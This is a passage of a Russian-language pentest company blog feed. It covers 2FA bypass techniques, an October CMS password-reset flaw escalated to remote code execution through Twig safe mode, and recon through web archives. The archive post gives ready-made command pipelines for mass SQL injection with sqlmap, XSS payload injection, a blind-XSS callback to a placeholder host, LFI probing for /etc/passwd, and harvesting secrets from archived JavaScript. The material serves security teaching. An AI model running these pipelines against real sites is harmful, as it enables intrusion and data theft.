  <p id="u7xz">Помимо обхода с помощью User-Agent, по результатам сканирований выявляли большое количество мисконфигураций связанных с использованием проверки по строчной версии URL, когда как доступ с изменением регистра оставался. </p>
  <h3 id="yjT0">Заключение</h3>
  <p id="SecD">Логика проверки доступа может быть самой разнообразной в зависимости от выбранной реализации разработчиком. Поэтому несмотря на видимую недоступность ресурса, всегда стоит проверять защиту у которой может скрываться ахиллесова пята.</p>
  <p id="hh9E">С экспертным сопровождением в <a href="https://metascan.ru/" target="_blank">Метаскан</a> вы можете быть уверены в отсутствии подобных брешей в защите чувствительных и административных точек приложения, а наш отдел исследований и разработки постоянно работает над улучшением автоматических проверок сканера.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@metascan/MFA-Attacks</guid><link>https://teletype.in/@metascan/MFA-Attacks?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan</link><comments>https://teletype.in/@metascan/MFA-Attacks?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan#comments</comments><dc:creator>metascan</dc:creator><title>Уязвимости второго фактора</title><pubDate>Fri, 07 Nov 2025 12:59:55 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/ce/8f/ce8f6463-af4d-4048-9b48-9042b74c16ca.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/dc/7e/dc7e6088-a410-49ed-88ff-f92574d178d9.png"></img>Двухфакторная аутентификация]]></description><content:encoded><![CDATA[
  <h3 id="c4r7">Вступление</h3>
  <p id="ImK3">Двухфакторная аутентификация давно стала стандартом цифровой гигиены. Банки, соцсети, облачные сервисы, корпоративная инфраструктура — все требуют подтверждать вход чем-то сверх пароля. Казалось бы, это решает проблему угонов аккаунтов раз и навсегда.</p>
  <p id="0IOr">Но в реальности 2FA — это не броня, а лишь дополнительная дверь. Она значительно усложняет атаку, но не делает пользователя «неуязвимым». Современные злоумышленники научились обходить многие популярные способы 2FA, причём иногда — без каких-либо технических навыков, исключительно методом социальной инженерии.</p>
  <figure id="mqgo" class="m_column">
    <img src="https://img2.teletype.in/files/dc/7e/dc7e6088-a410-49ed-88ff-f92574d178d9.png" width="1280" />
  </figure>
  <p id="6nnH">В сегодняшнем материале разбираем устройство 2FA, популярным методам атак и практическим мерам защиты.</p>
  <hr />
  <h3 id="yjJ5">Что такое 2FA</h3>
  <p id="1gw9">2FA — это проверка пользователя двумя независимыми факторами. Обычно они делятся на три категории:</p>
  <ol id="uato">
    <li id="SP1E"><strong>Что-то, что вы знаете</strong> — пароль, PIN, секретная фраза.</li>
    <li id="gwI8"><strong>Что-то, что у вас есть</strong> — телефон, токен, смарт-карта, аппаратный ключ.</li>
    <li id="5iJY"><strong>Что-то, чем вы являетесь</strong> — биометрия: лицо, отпечаток пальца.</li>
  </ol>
  <p id="5wjK">Главная идея в том, что взлом пароля не означает взлом аккаунта – например, на момент введения Steam Guard в 2011 году Гейб Ньюэлл <a href="https://www.engadget.com/2011-03-04-steam-guard-gets-the-ultimate-test-gabe-newell-makes-his-passwo.html" target="_blank">публично озвучил</a> свой пароль и предложил попасть в его аккаунт. Сделать этого никому не удалось. </p>
  <p id="kUt1">Базовый 2FA флоу выглядит следующим образом:</p>
  <ol id="i2pZ">
    <li id="5DE2">Пользователь вводит свой логин и пароль в форму ввода. </li>
    <li id="18ER">Сервер предоставленные учетные данные и создает предварительную сессию и контекст аутентификации.</li>
    <li id="eCQV">Сервер проверяет, требуется ли второй фактор (политики, настройки аккаунта) и инициирует генерацию/отправку OTP или отправляет push-запрос/требует аппаратный ключ.</li>
    <li id="Y4BG">Пользователь получает код (SMS/TOTP/Email) или видит пуш-запрос на своем устройстве/подключает ключ и подтверждает действие.</li>
    <li id="roUx">Клиент отправляет подтверждение (код/подпись/ответ) обратно на сервер вместе с session_id.</li>
    <li id="oTMk">Сервер валидирует второй фактор: проверяет, что код совпадает, что он отправлен в нужном контексте, не истек, не использовался ранее.</li>
    <li id="J9or">Если проверка успешна – сервер помечает сессию как аутентифицированную и допускает пользователя к защищенным ресурсам.</li>
  </ol>
  <figure id="JRfa" class="m_column">
    <img src="https://img4.teletype.in/files/39/c8/39c8d88a-6c26-4b43-a66b-8b6354d0b012.png" width="2750" />
  </figure>
  <p id="eldZ">Но безопасность 2FA зависит от того, какой именно фактор используется и как именно реализован этот процесс. SMS-код — это 2FA, но защита от перехвата у него минимальная, в то же время аппаратный ключ — тоже 2FA, взломать который практически нереально.</p>
  <hr />
  <h3 id="ipNK">Типы 2FA</h3>
  <p id="R9dl">Рассмотрим основные методы, встречающиеся в реальной жизни:</p>
  <ul id="tOLX">
    <li id="ahQN">SMS-коды. Код подтверждения приходит по SMS.</li>
    <li id="oh00">TOTP-коды (Google Authenticator, Steam Guard, etc.) – генерация одноразовых кодов целиком происходит на зарегистрированном устройстве</li>
    <li id="LN83">Push-подтверждения (Microsoft Authenticator, Google) – подтверждение происходит через пуш-уведомление, отправленное на уже известное устройство </li>
    <li id="N6R3">Аппаратные ключи – используют криптографию, не отправляют код в сеть, не поддаются перехвату.</li>
  </ul>
  <hr />
  <h3 id="9KvX">Как атакуют 2FA</h3>
  <p id="Nhg3">Существует колоссальное количество методик атак на MFA, однако подавляющее большинство подобных атак требуют глубокого понимания процесса авторизации и ручного тестирования </p>
  <ol id="E4y1">
    <li id="2mLA">Отсутствие рейт-лимитов. Начнем с классики – в уязвимом приложении просто могут быть не предусмотрены рейт-лимиты и неважно, на чьей именно стороне:</li>
    <ol id="ux3l">
      <li id="bPVR">Пользователь может иметь неограниченное количество попыток ввода одноразового кода, т.е. может просто его подобрать, в то время как простые ограничения по IP либо сигнатурам запроса легко обходятся через IP Rotate и модификацию каждого нового запроса.</li>
      <li id="iHoo">Нет лимита на количество запросов OTP. Пользователь может бесконечно запрашивать новые OTP до тех пор, пока не подберет нужный. </li>
      <li id="mfK7">Отсутствие лимита на отправку кодов так же позволяет исчерпывать ресурсы компании </li>
    </ol>
    <li id="kVBF">Уязвимости на уровне сессии. </li>
    <ol id="eAjr">
      <li id="aO4E">Уязвимое приложение может позволить отключить либо изменить флоу двухфакторной аутентификации, при этом не требуя проходить двухфакторную аутентификацию.</li>
      <li id="5TvS">Puzzling атаки – в некоторых сценариях приложение запрашивает у пользователя прохождение 2FA, однако его можно обойти просто обратившись напрямую к нужному эндпоинту.</li>
      <li id="wM7E">Race Condition – при неграмотной реализации криптографической составляющей генератора OTP-кодов может возникнуть ситуация, что два разных запроса, отправленных одновременно, получат одинаковый OTP. Таким образом возникает состояние гонки, когда мы одновременно инициируем авторизацию с учетной записью жертвы и со своей учетной записью, а код двухфакторной аутентификации при этом одинаков для обоих.</li>
    </ol>
    <li id="5Mux">Проблемы в логике.</li>
    <ol id="EQ9J">
      <li id="6ymd">OTP может быть повторно использован для разных действий – логин, сброс пароля, подтверждение операций и тд. Отсутствие контекста подтверждаемого действия может привести к тому, что OTP, сгенерированный с одной целью, может быть использован для совершенно другой.</li>
      <li id="UJHm">Бывают случаи, когда уже введенный OTP остается валидным уже после его отправки. Это значительно упрощает задачу перебора, поскольку нет необходимости автоматизировать дальнейшие действия после ввода OTP – можно просто ввести его повторно после проведенного брутфорса и закончить проведение атаки вручную.</li>
    </ol>
    <li id="4sYW">Host Header Injection</li>
    <ol id="DAuc">
      <li id="0eVY">В уязвимой конфигурации веб-сервер может воспринимать заголовок Host HTTP-запроса как целевой ресурс и злоумышленник может обмануть веб-приложение, передав дублирующийся/вредоносный домен, на который и будет отправлен код подтверждения. </li>
    </ol>
    <li id="n9N9">Фишинг.</li>
    <ol id="Y80D">
      <li id="ku4o"> Злоумышленник может создать фейковую страницу, повторяющую процесс авторизации целевого ресурса и заманить пользователя туда – таким образом он получит не только валидную учетную запись, но и действительную сессию на целевом ресурсе.</li>
      <li id="Y5UY">Социальная инженерия. Злоумышленник может убедить службу поддержки целевого ресурса сбросить MFA или привязать новый фактор. </li>
    </ol>
  </ol>
  <hr />
  <h3 id="zZ6M">Практический кейс </h3>
  <p id="p9ZE">Во время проведения ручного тестирования ресурсов у одного из клиентов мы обнаружили форму авторизации с ссылкой на страницу смены пароля. </p>
  <figure id="K79I" class="m_original">
    <img src="https://img4.teletype.in/files/75/8d/758d66e3-fa7f-468d-b254-a559eb50c2e8.png" width="698" />
  </figure>
  <p id="dgXA">Флоу смены пароля и авторизации оказался крайне простым: вводим почту, на почту отправляется код, вводим код</p>
  <figure id="L7qs" class="m_original">
    <img src="https://img1.teletype.in/files/cb/19/cb197ea5-dab6-4c13-bad3-8f85b318994c.png" width="678" />
  </figure>
  <p id="uAl2">Меняем пароль / получаем доступ к аккаунту в зависимости от исходного действия.</p>
  <figure id="6nl6" class="m_original">
    <img src="https://img3.teletype.in/files/2d/ec/2dec7fa9-4960-4747-a4e0-9b7e50696a0b.png" width="696" />
  </figure>
  <p id="rSt5">Проблема крылась в отсутствии ограничения на количество попыток ввода этого самого одноразового кода, что позволило буквально перебрать его посимвольно</p>
  <figure id="iytq" class="m_column">
    <img src="https://img2.teletype.in/files/56/b8/56b893ed-131e-4653-bd85-7a98c0fbbc9e.jpeg" width="1280" />
  </figure>
  <p id="0GLq">И, более того, после использования код не отзывался и его можно было ввести повторно и завершить угон аккаунта вручную:</p>
  <figure id="d7cY" class="m_column">
    <img src="https://img4.teletype.in/files/7e/45/7e456863-b9a4-496a-b863-ff7d075e65a0.jpeg" width="1280" />
  </figure>
  <figure id="vGpA" class="m_column">
    <img src="https://img1.teletype.in/files/40/ea/40eab950-a2b8-4024-ad5e-dc10aceb22cc.jpeg" width="1280" />
  </figure>
  <p id="9zbS">По уязвимости был составлен подробный отчет, составлены инструкции по устранению и направлены клиенту. </p>
  <hr />
  <h3 id="EHlB">Заключение</h3>
  <p id="M0XV">Уязвимости подобного рода невозможно выявить с использованием автоматических сканеров, однако наши специалисты отдела экспертного сопровождения при проведении ручных тестирований в обязательном порядке проверяют флоу авторизации / восстановления паролей и другие формы.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@metascan/manual_testing</guid><link>https://teletype.in/@metascan/manual_testing?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan</link><comments>https://teletype.in/@metascan/manual_testing?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan#comments</comments><dc:creator>metascan</dc:creator><title>Как сканер помогает при ручных пентестах</title><pubDate>Thu, 30 Oct 2025 12:14:30 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/69/bc/69bcb642-0753-458f-af76-68c330502cb5.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/21/51/2151e334-f032-4492-a593-d5bddc86c4de.png"></img>]]></description><content:encoded><![CDATA[
  <h3 id="KL4P">Ведение</h3>
  <p id="TGUG">В условиях, когда периметр компании насчитывает тысячи ресурсов, даже критически важная уязвимость может &quot;затеряться&quot; среди шума. При ручных тестированиях мы используем Metascan не просто как источник информации об уязвимостях, но как проактивный фильтр, гарантируя, что ни одна потенциальная угроза не ускользнет от нашего внимания.</p>
  <figure id="NTyI" class="m_column">
    <img src="https://img3.teletype.in/files/21/51/2151e334-f032-4492-a593-d5bddc86c4de.png" width="1280" />
  </figure>
  <hr />
  <h3 id="uJC4">Начало атаки: проблема в основе CMS</h3>
  <p id="PTK4">В октябре 2025 года наш сканер обнаружил сработку, которая послужила отправной точкой для полноценной компрометации. На периметре одного из клиентов была найдена установка <strong>October CMS</strong> (система, построенная на PHP-фреймворке Laravel), уязвимая к <strong>CVE-2021-32648</strong> — неаутентифицированной смене пароля.</p>
  <figure id="haK4" class="m_column">
    <img src="https://img1.teletype.in/files/4b/a0/4ba03348-263d-4f4d-b340-651640fbdb4f.jpeg" width="1280" />
    <figcaption>Сработка в сканере</figcaption>
  </figure>
  <p id="8Q7n">Эта уязвимость коренилась в глубокой особенности PHP, известной как <strong>Type Juggling</strong> (небезопасная обработка типов данных). Благодаря этому дефекту, можно было обойти логику проверки ключа сброса пароля. Используя эту находку сканера, мы смогли провести атаку, которая привела к <strong>несанкционированной смене пароля</strong> пользователя <code>admin</code> и полному доступу к административной панели системы.</p>
  <p id="Yiqo">Таким образом, рутинная сработка сканера превратилась в ключ к админке CMS.</p>
  <hr />
  <h3 id="KRoj">Safe Mode</h3>
  <p id="jMU0">Получение доступа к админке стало плацдармом к развитию атаки. Истинной целью всегда является получение возможности удаленного выполнения кода<strong> (RCE)</strong>. Однако быстро выяснилось, что путь к нему будет непростым.</p>
  <p id="060n">Приложение работало с включенным параметром <strong><code>cms.safe_mode = True</code></strong>. Этот режим создает дополнительный барьер: он блокирует окно редактирования для чистого PHP кода и ограничивает возможности шаблонизатора Twig, не давая использовать небезопасные методы – погружает в так называемый twig sandbox.</p>
  <figure id="08HK" class="m_original">
    <img src="https://img3.teletype.in/files/a8/0b/a80b77d5-f210-4eb6-8912-25172c9ee93b.jpeg" width="548" />
    <figcaption>ssti</figcaption>
  </figure>
  <p id="cm8E">Сервер, по сути, говорил нам: «Вы можете писать HTML, вы можете использовать Twig, но вы не можете выполнять произвольный PHP-код». Классические векторы обхода <code>Safe Mode</code>, которые веб-пентестеры используют для SSTI (Server-Side Template Injection), оказались бессильны. Нужно было копать глубже.</p>
  <hr />
  <h3 id="L8F5">Превращем калькулятор в компьютер</h3>
  <p id="42yT">Основная идея дальнейшей эскалации атаки заключалась в том, чтобы заставить шаблонизатор, работающий в безопасном режиме, вызвать опасные PHP-функции.</p>
  <p id="CUHJ">После тщательного анализа и изучения особенностей обхода <code>safe-mode</code> настроек был спроектирован и реализован эксплойт, который позволил нам обойти все ограничения:</p>
  <ol id="g6TX">
    <li id="WwO0">Мы получили доступ к <strong>объекту Twig</strong> через контроллер (<code>this.controller.getTwig()</code>).</li>
    <li id="ZLDN">Мы использовали метод <strong><code>registerUndefinedFilterCallback()</code></strong>, чтобы зарегистрировать системную PHP-функцию <strong><code>passthru</code></strong> (команда для выполнения команд ОС) в качестве обработчика для <em>любых несуществующих</em> фильтров.</li>
    <li id="ijB0">Финальный аккорд: мы просто вызывали несуществующий фильтр, имя которого совпадало с нужной нам командой, например, <code>getFilter(&quot;pwd&quot;)</code>.</li>
  </ol>
  <p id="GZGf"><strong>Эксплойт:</strong></p>
  <figure id="2vwK" class="m_column">
    <img src="https://img4.teletype.in/files/b7/a1/b7a1ee2a-15d7-4d56-9eed-ca84caf1197f.jpeg" width="1155" />
    <figcaption>Эксплуатация</figcaption>
  </figure>
  <p id="EvZx">Сохранение и вызов этой страницы на целевом ресурсе привели к заветному результату: </p>
  <figure id="SJbY" class="m_original">
    <img src="https://img2.teletype.in/files/18/86/18869fd9-e9d8-4692-b407-3f795e798bed.jpeg" width="563" />
    <figcaption>Code Execution</figcaption>
  </figure>
  <p id="6FYn">RCE было получено, и на экране отобразился результат выполнения команды операционной системы.</p>
  <hr />
  <h3 id="7OEm">Заключение</h3>
  <p id="yLTZ">Этот кейс – яркий пример того, как начинается и заканчивается работа с критическими уязвимостями.</p>
  <p id="bzAV"><a href="https://metascan.ru" target="_blank">Metascan</a> выполнил свою ключевую задачу, обнаружив и подсветив CVE-2021-32648, а специалисты – довели ее до наивысшего импакта, продемонстрировав уровень угрозы заказчику.</p>
  <p id="lEbc">Наши пентестеры не только подтверждают сработки, но ируками &quot;докручивают&quot; уязвимости, моделируя реальные действия злоумышленников и предоставляя клиенту полный, критически важный отчет о реальном уровне риска.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@metascan/metascan-internet-remembers</guid><link>https://teletype.in/@metascan/metascan-internet-remembers?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan</link><comments>https://teletype.in/@metascan/metascan-internet-remembers?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan#comments</comments><dc:creator>metascan</dc:creator><title>Интернет помнит все</title><pubDate>Fri, 24 Oct 2025 09:58:43 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/5d/35/5d35df66-d9f6-4f33-b7bb-d3c2644178bd.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/d7/1d/d71d78c1-b3f9-459b-b9d0-c0d6954ed992.png"></img>Что на самом деле знают и помнят о ваших сайтах? Какие скрытые угрозы можно обнаружить в исторических данных? Подробности в нашей статье про архивы и краулеры!]]></description><content:encoded><![CDATA[
  <p id="JdBw">Что на самом деле знают и помнят о ваших сайтах? Какие скрытые угрозы можно обнаружить в исторических данных? Многие не подозревают что на самом деле интернет запоминает о сайтах. Существует группа сервисов которые осуществляют постоянный краулинг, сбор данных из открытых источников и агрегацию полученных данных. Среди таких данных может быть и старый функционал сайта, удаленные документы, JavaScript файлы с API токенами и даже сессии пользователей. </p>
  <figure id="GONo" class="m_column">
    <img src="https://img2.teletype.in/files/d7/1d/d71d78c1-b3f9-459b-b9d0-c0d6954ed992.png" width="2560" />
  </figure>
  <h3 id="qBBB">Агрегаторы исторических данных</h3>
  <p id="Bkjs">Рассмотрим несколько агрегаторов которые занимаются сбором данных о сайтах:</p>
  <ul id="7C2l">
    <li id="3svL">Знаменитый веб-архив: <a href="http://web.archive.org/" target="_blank">http://web.archive.org/</a></li>
    <li id="2dsJ">Common Crawl: <a href="https://index.commoncrawl.org/" target="_blank">https://index.commoncrawl.org/</a></li>
    <li id="ERmS">AlienVault OTX: <a href="http://otx.alienvault.com/" target="_blank">http://otx.alienvault.com/</a></li>
    <li id="tNvS">URL Scan: <a href="https://urlscan.io/" target="_blank">https://urlscan.io/</a> (бесплатный API ключ после регистрации)</li>
    <li id="vzAV">VirusTotal: <a href="https://www.virustotal.com/gui/home/url" target="_blank">https://www.virustotal.com/gui/home/url</a></li>
    <li id="YFJI">IntelX: <a href="https://intelx.io/" target="_blank">https://intelx.io/</a> (платный)</li>
  </ul>
  <p id="S02D">Эта небольшая группа сервисов может знать о вашем сайте намного больше чем можно было бы представить. Но здесь появляется вопрос, а как собирать данные с этих ресурсов и эффективно их анализировать? В этом нам помогут инструменты которые взаимодействуют с API перечисленных сервисов.</p>
  <h3 id="nRXd">Типы данных и как их получить</h3>
  <p id="lxWt">В архивах и краулерах хранятся всевозможные данные, в том числе документы и даже их сохраненные версии на момент захвата. Получить данные с этих сервисов можно как в виде списка URL, так и с захваченным на тот момент содержимом файла. Для этого можно использовать такие утилиты, как:</p>
  <ul id="9Nok">
    <li id="RfSh"><a href="https://github.com/xnl-h4ck3r/waymore" target="_blank">Waymore</a> - наиболее полный набор источников</li>
    <li id="dlb9"><a href="https://github.com/lc/gau" target="_blank">GAU</a> - предшественник Waymore, улучшенная версия Waybackurls</li>
    <li id="HUXZ"><a href="https://github.com/tomnomnom/waybackurls" target="_blank">Waybackurls</a> - классический инструмент для эффективной работы с Веб-архивом</li>
  </ul>
  <p id="cWes">В этой статье рассмотрим работу конкретно с инструментом Waymore так как он возвращает наиболее полные данные. Для сбора только URL можно воспользоваться простой командой:</p>
  <p id="vb67"><code>waymore -i yourtarget.com -mode U -oU waymore_yourtarget.txt</code></p>
  <p id="amjR">Флаг <code>-mode</code>отвечает за тип возвращаемых данных. U - только ссылки, R - только ответы, B - и ссылки, и ответы (на вывод надо указать файл для ссылок и папку для ответов).</p>
  <p id="D5O3">В результате работы инструмента мы получаем все ссылки с указанных ранее сервисов по всем поддоменам для <code>*.yourtarget.com</code>. Тип данных может сильно отличаться в зависимости от того, для какой цели были собраны данные, но зачастую их объем может быть огромным и ручной анализ может занять слишком много времени.</p>
  <h3 id="6KUU">Автоматизация</h3>
  <p id="TikK">Для быстрой и эффективной обработки результатов <strong>Waymore </strong>можем воспользоваться вспомогательными утилитами и быстро обнаружить явные утечки или уязвимости:</p>
  <ul id="2TGN">
    <li id="dc48"><strong>Сортировка для получения всех *.js файлов:</strong></li>
    <ul id="7QmA">
      <li id="rYFP"><code>cat waymore_youraget.txt | grep -E &#x27;\.(js|txt|json)$&#x27; | sort -u | tee leaks_yourtarget.txt</code></li>
    </ul>
    <li id="1Chl"><strong>Поиск секретов в *.js файлах:</strong></li>
    <ul id="YL7G">
      <li id="wZxI"><a href="https://github.com/brosck/mantra" target="_blank">Mantra</a>: <code>cat leaks_yourtarget.txt | mantra</code></li>
      <li id="eFa4"><a href="https://github.com/m4ll0k/SecretFinder" target="_blank">SecretFinder</a>: <code>cat leaks_yourtarget.txt | while read url; do python3 SecretFinder.py -i $url -o cli &gt;&gt; sortedsecret.txt; done</code></li>
      <li id="fCRX"><a href="https://github.com/raoufmaklouf/jsecret" target="_blank">JSecret</a>: <code>cat leaks_yourtarget.txt | jsecret</code></li>
    </ul>
    <li id="nFih"><strong>Server-Side Request Forgery:</strong></li>
    <ul id="7uTi">
      <li id="bwT1"><a href="https://github.com/0xPugal/dedupe/" target="_blank">Dedupe</a> + <a href="https://github.com/tomnomnom/qsreplace" target="_blank">QsReplace</a> + <a href="https://github.com/projectdiscovery/httpx" target="_blank">httpx</a>: <code>cat waymore_your_target.txt | dedupe -qs | qsreplace &quot;metascan-reflector-link&quot; &gt;&gt; ssrf_yourtarget.txt; httpx -silent -l ssrf_yourtarget.txt -fr</code></li>
    </ul>
    <li id="NkTl"><strong>Open Redirect:</strong></li>
    <ul id="ZjQd">
      <li id="Nl3d"><a href="https://github.com/0xPugal/dedupe/" target="_blank">Dedupe</a> + <a href="https://github.com/tomnomnom/qsreplace" target="_blank">QsReplace</a> + <a href="https://github.com/projectdiscovery/httpx" target="_blank">httpx</a>: <code>cat waymore_your_target.txt | dedupe -qs | qsreplace &#x27;<a href="http://example.com" target="_blank">http://example.com</a>&#x27; | httpx -fr -title -match-string &#x27;Example Domain&#x27;</code></li>
    </ul>
    <li id="3OHJ"><strong>SQL Injection:</strong></li>
    <ul id="oXz8">
      <li id="xiON"><a href="https://github.com/0xPugal/dedupe/" target="_blank">Dedupe</a> + <a href="https://github.com/tomnomnom/anew" target="_blank">anew</a> + <a href="https://github.com/sqlmapproject/sqlmap" target="_blank">SQLmap</a> + <a href="http://github.com/r0oth3x49/ghauri" target="_blank">ghauri</a>: <code>cat waymore_yourtarget.txt | dedupe -qs | anew sqli_yourtarget.txt &amp;&amp; sqlmap -m sqli_yourtarget.txt --batch --random-agent --level 5 --risk 3 --dbs &amp;&amp; for i in $(cat sqli_yourtarget.txt); do ghauri -u &quot;$i&quot; --level 3 --dbs --current-db --batch --confirm; done</code></li>
    </ul>
    <li id="Sc0z"><strong>Cross-site Scripting:</strong></li>
    <ul id="5t4i">
      <li id="valk"><a href="https://github.com/s0md3v/uro" target="_blank">uro</a> + <a href="https://github.com/0xPugal/dedupe/" target="_blank">Dedupe</a> + <a href="https://github.com/tomnomnom/qsreplace" target="_blank">QsReplace</a> + <a href="https://github.com/projectdiscovery/httpx" target="_blank">httpx</a>: <code>grep -Ev &quot;\.(jpeg|jpg|png|js|ico|gif|css|woff|svg)$&quot; waymore_yourtarget.txt | uro | dedupe -qs | qsreplace &quot;&lt;img src=x onerror=alert(1)&gt;&quot; | httpx -silent -nc -mc 200 -mr &quot;&lt;img src=x onerror=alert(1)&gt;&quot;</code></li>
      <li id="SKhX"><a href="https://github.com/projectdiscovery/httpx" target="_blank">httpx</a> + <a href="https://github.com/KathanP19/Gxss" target="_blank">Gxss</a> + <a href="https://github.com/hahwul/dalfox" target="_blank">dalfox</a>: <code>cat waymore_yourtarget.txt | httpx -silent | Gxss -c 100 -p Xss | grep &quot;URL&quot; | cut -d &#x27;&quot;&#x27; -f2 | sort -u | dalfox pipe</code></li>
      <li id="rlxk">Blind XSS: <code>grep &quot;=&quot; waymore_yourtarget.txt | dedupe -qs | sed &#x27;s/=.*/=/&#x27; | sed &#x27;s/URL: //&#x27; | tee xss_yourtarget.txt ; dalfox file xss_yourtarget.txt -b &#x27;//replace-bxss-payload.com&#x27; --skip-mining-dom</code></li>
    </ul>
    <li id="0Eds"><strong>Local File Inclusion:</strong></li>
    <ul id="10Jj">
      <li id="N7AR"><a href="https://github.com/0xPugal/dedupe/" target="_blank">Dedupe</a> + <a href="https://github.com/projectdiscovery/httpx" target="_blank">httpx</a>: <code>cat waymore_yourtarget.txt | dedupe -qs | httpx -silent -path lfi_wordlist.txt -threads 100 -random-agent -x GET,POST -status-code -follow-redirects -mc 200 -mr &quot;root:[x*]:0:0:&quot;</code></li>
    </ul>
  </ul>
  <p id="S29w">Сценариев быстрой обработки результатов <strong>Waymore </strong>масса, помимо перечисленных можно придумать и другие. Нередко результат приносит и ручной анализ файла, можно просто отсортировать список URL и бегло посмотреть на какие-то подозрительные ссылки, затем искать в них уязвимости.</p>
  <h3 id="goqy">Заключение</h3>
  <p id="ktmO">Всегда важно помнить, что даже старый функционал, который мог быть частично удален, все еще может обрабатываться на стороне сервера, что очень часто приводит к скрытым уязвимостям которые крайне сложно заметить. </p>
  <p id="qgPR"><strong><a href="https://metascan.ru/" target="_blank">Метаскан</a></strong> позволяет обогатить исторические данные собранными в Sitemap по результатам автоматического сканирования, что значительно улучшает покрытие, а наши пентестеры могут помочь вам провести все необходимые проверки для предотвращения атак связанных с историческими данными и старым функционалом.</p>
  <p id="scil">Среди выявленных недостатков нашим экспертам удалось предотвратить эксплуатацию SQLi на основных приложениях, Open Redirect уязвимостей, обнаружить утечки API ключей для которых забыли сделать ротацию несмотря на удаление файлов где происходило раскрытие.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@metascan/metascan-recon</guid><link>https://teletype.in/@metascan/metascan-recon?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan</link><comments>https://teletype.in/@metascan/metascan-recon?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan#comments</comments><dc:creator>metascan</dc:creator><title>Разведка — фундамент эффективного пентеста</title><pubDate>Fri, 10 Oct 2025 14:58:54 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/d5/92/d592943b-4950-4296-8904-2cd90154c25c.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/98/80/9880868d-899d-420e-ac9d-ea194472b297.png"></img>Без разведки полноценный поиск и обнаружение уязвимостей были бы невозможны. Около 80% успеха в выявлении уязвимостей кроются в хорошо проведенной разведке. Несмотря на большое количество доступных инструментов для сбора поддоменов, подсетей и других данных об инфраструктуре, процесс разведки содержит в себе много нюансов, особенностей и особых техник позволяющих обнаружить чуть больше ресурсов чем другие.]]></description><content:encoded><![CDATA[
  <p id="qKkS">Без разведки полноценный поиск и обнаружение уязвимостей были бы невозможны. Около 80% успеха в выявлении уязвимостей кроются в хорошо проведенной разведке. Несмотря на большое количество доступных инструментов для сбора поддоменов, подсетей и других данных об инфраструктуре, процесс разведки содержит в себе много нюансов, особенностей и особых техник позволяющих обнаружить чуть больше ресурсов чем другие.</p>
  <figure id="eKiw" class="m_column">
    <img src="https://img2.teletype.in/files/98/80/9880868d-899d-420e-ac9d-ea194472b297.png" width="1280" />
  </figure>
  <h3 id="8QpT">Подготовка к разведке</h3>
  <p id="iHUr">На данном этапе мы собираем первичный набор данных о компании которые позволят нам копнуть глубже и лучше понять инфраструктуру с которой работаем. Среди искомых данных нас интересуют:</p>
  <ul id="INq3">
    <li id="PYhr">Домены второго уровня или Apex домены (например, example.org)</li>
    <li id="ehsA">Домены N уровня или поддомены (например, sub.example.org, fifth.level.sub.example.com)</li>
    <li id="JxX7">Подсети (например, 192.168.0.0/24)</li>
  </ul>
  <p id="tIOM">Для начала нам необходимы первичные данные, такие как название организации и хотя бы один домен второго уровня. На основе этих данных открывается большой объем дополнительной информации о компании, разберем отдельно каждый шаг разведки. </p>
  <h3 id="Sbo5">Данные о связанных организациях</h3>
  <p id="t37z">Самым первым шагом будет простой запрос с использованием Whois:</p>
  <p id="m1lK"><code>whois metascan.ru</code></p>
  <figure id="yI1i" class="m_original">
    <img src="https://img1.teletype.in/files/42/ec/42ecb737-63a2-48a9-8224-2feaa3f78034.png" width="428" />
  </figure>
  <p id="dO6P">Или массовый сбор данных: <a href="https://github.com/melbadry9/WhoEnum" target="_blank">https://github.com/melbadry9/WhoEnum</a></p>
  <p id="Mo3s">Используя такую простую команду мы получаем уже немало важных данных:</p>
  <ul id="b1as">
    <li id="Q3Rs">ИНН</li>
    <li id="9Hxf">Полное название организации</li>
    <li id="uXI9">DNS сервера</li>
  </ul>
  <p id="mwYO">На основе ИНН мы можем получить информацию о связанных компаниях с использованием простого поиска по ИНН или названию организации в поисковых системах. Можно обнаружить у компании приобретения в виде дочерних компаний и расширять объем данных для разведки новыми доменами второго уровня таких поглощенных организаций.</p>
  <h3 id="6iBj">Домены второго уровня</h3>
  <p id="GmHh">На этом этапе наша задача собрать максимальное количество доменов второго уровня (apex доменов). Имя на руках полную информацию об организации и поглощениях, можно выполнить поиск разными способами:</p>
  <ul id="qfJ0">
    <li id="UbCA">Reverse IP lookup</li>
    <ul id="r2Hj">
      <li id="0m2j"><a href="https://github.com/hakluke/hakip2host" target="_blank">https://github.com/hakluke/hakip2host</a></li>
      <ul id="Jytc">
        <li id="d9IK"><code>cat ip-list.txt | hakip2host | grep -Eo &quot;[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}&quot; | unfurl -u apexes | anew apex.txt</code></li>
      </ul>
      <li id="mDlO">Сервисы hackertarget, viewdns, ipinfo.io, domaintools, dnsdumpster и другие</li>
      <li id="H3Hv"><a href="https://github.com/Josue87/AnalyticsRelationships" target="_blank">https://github.com/Josue87/AnalyticsRelationships</a></li>
      <ul id="1bzy">
        <li id="Kk1C"><code>cat apex.txt | analyticsrelationships</code></li>
      </ul>
    </ul>
    <li id="rp8R">По сертификатам</li>
    <ul id="k9lf">
      <li id="o1kZ"><a href="https://github.com/glebarez/cero" target="_blank">https://github.com/glebarez/cero</a></li>
      <ul id="5GKz">
